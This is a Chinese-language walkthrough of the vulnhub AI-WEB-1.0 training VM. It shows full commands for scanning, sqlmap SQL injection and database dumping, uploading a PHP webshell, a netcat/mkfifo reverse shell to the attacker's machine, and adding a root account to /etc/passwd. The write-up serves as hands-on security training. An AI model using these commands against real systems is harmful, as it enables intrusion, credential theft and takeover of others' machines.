0%

渗透测试靶机vulnhub_AI-WEB-1.0通关记录

最近想打打靶场,找了几个入门靶场来渗透测试了一下,vulnhub的AI-WEB-1.0这个是我打的第一个靶机,整个过程还是比较顺利的(毕竟是入门级的)。

信息收集

扫描主机

使用netdiscover发现主机

netdiscover -i eth0 -r 192.168.30.0/24
# eth0是网卡设备名
# 扫描192.168.30.0/24这个网段,检查在线主机
image-20241119153806356

扫描端口

使用nmap扫描存活主机的端口

nmap -sS -sV -A -n 192.168.30.132
nmap -T4 -A 192.168.30.132

只得到80端口

image-20241119154532963

浏览器访问一下192.168.30.132:80,好吧果然什么都没有

image-20241119154840588

扫描目录

使用dirb扫描目录
参考:DIRB:一款强大的Web目录扫描工具使用指南

dirb http://192.168.30.132 -o dirb.txt
#参数: -o 输出结果
#扫描192.168.30.132主机上的所有目录,并将其输出到dirb.txt中
image-20241119155905008

直接访问url

http://192.168.30.132/server-status,无权限

image-20241119160259061

http://192.168.30.132/robots.txt,发现两个目录

image-20241119160218025

访问这两个目录,都是无权限,下面再使用dirb扫描这两个目录

/m3diNf0/目录:

image-20241119160816299

访问http://192.168.30.132/m3diNf0/info.php,是php配置文件,在里面发现了网站的绝对路径

image-20241119161053952

/se3reTdir777/目录:

image-20241119161459503

访问http://192.168.30.132/se3reTdir777/index.php,看起来是一个sql注入漏洞

image-20241119195135072

访问http://192.168.30.132/se3reTdir777/uploads/,无权限

image-20241119195407387

漏洞利用

sql注入

bp抓包一下,确定是POST传参并找到注入点

image-20241119195241615

使用sqlmap工具进行sql注入

sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=11&Operation=Submit" --dbs
#列出全部数据库
#aiweb1,information_schema
image-20241119200926142
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables
#列表
#user,systemUser
image-20241119200941269
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
#列字段
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns -dump
#再加一个参数 -dump 可以把字段里的内容也列出来,或者不加--columns,只列字段里的内容
image-20241119201916635
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D  aiweb1 -T systemUser -dump
image-20241119202638863

尝试--os-shell

sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
#/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
image-20241119203738412

第一个选4(PHP),第二个选项选2(自定义目录位置),这里需要提供绝对路径

前面在php配置文件中我们找到了网站的绝对路径为/home/www/html/web1x443290o2sdf92213/,扫描/se3reTdir777/目录时,出现了/se3reTdir777/index.php/se3reTdir777/uploads/两个路径,访问这两个路径都存在sql注入漏洞,所以这里我两个路径都尝试了一下,uploads/这个对了。

拿到shell,但是权限较低是www-data

文件上传

hack.php,本地的一句话木马文件

image-20241119210831951

使用sqlmap上传hack.php文件

sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
  • --file-read:从后端DBMS文件系统读取文件
  • --file-write:在后端DBMS文件系统上写入本地文件
  • --file-dest:要写入的文件在DBMS上的绝对路径

然后使用蚁剑连接

image-20241119210041331

反弹shell

kali本地监听 nc -lvvp 6666

在蚁剑虚拟终端上nc反弹,发现参数-e不可用

nc -e /bin/bash 192.168.30.130 6666
#192.168.30.130是kali的IP地址

在蚁剑终端上创建反向shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.30.130 6666 >/tmp/f
  • mkfifo /tmp/f:创建一个命令管道(FIFO),命名为/tmp/f。命名管道允许进程间的通信。
  • cat /tmp/f:读取/tmp/f文件的内容。由于/tmp/f是一个命名管道,这个命令会等待数据被写入管道。
  • /bin/sh -i:启动一个交互式的shell-i参数表示交互式模式。
  • 2>&1:将标准错误(stderr)重定向到标准输出(stdout)。这意味着所有通过shell产生的错误消息也会被发送到同一个输出。
  • | nc 192.168.30.130 6666:将cat命令的输出(即shell的输入)过管道传递给 nc(netcat)命令。nc命令连接到 IP 地址 192.168.0.1036666端口,并将数据发送到该端口。
  • >/tmp/f:将nc命令的输出重定向到/tmp/f文件。这样,cat /tmp/f命令就会读取这些数据,并将其作为输入传递给/bin/sh -i,从而允许远程用户通过nc发送的命令来控制shell

成功反弹shell,但依旧权限较低

image-20241119214828802

提权

进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

搜索属于root用户且具有setuid权限位的文件

find / -user root -perm -4000 -print 2>/dev/null
#指定起始目录为根目录、搜索的文件所有者为root用户、查找具有setuid位的文件。(setuid权限位允许用户以文件所有者的权限执行文件,通常用于提升权限)
# -print:表示将搜索结果打印到标准输出。
# 2>/dev/null:将错误消息重定向到 /dev/null,这意味着忽略所有错误信息。

查看内核版本

uname -a

image-20241119221024659

添加root账号

生成Linux系统用户密钥

openssl passwd -1 -salt jt 5799
image-20241119222550002

读写/etc/passwd文件

echo 'jt:$1$jt$iCU3U.0M3WJQhDq5RlET00:0:0::/root:/bin/bash' >> /etc/passwd

登录账号

su jt
image-20241119222807809

查看flag

image-20241119222927834

参考文章

[看完这篇 教你玩转渗透测试靶机vulnhub——Ai-Web1](看完这篇 教你玩转渗透测试靶机vulnhub——Ai-Web1-CSDN博客)

[Vulnhub靶机渗透之 AI: Web: 1](Vulnhub靶机渗透之 AI: Web: 1_反弹shell服务器上执行不了ai:web:1-CSDN博客)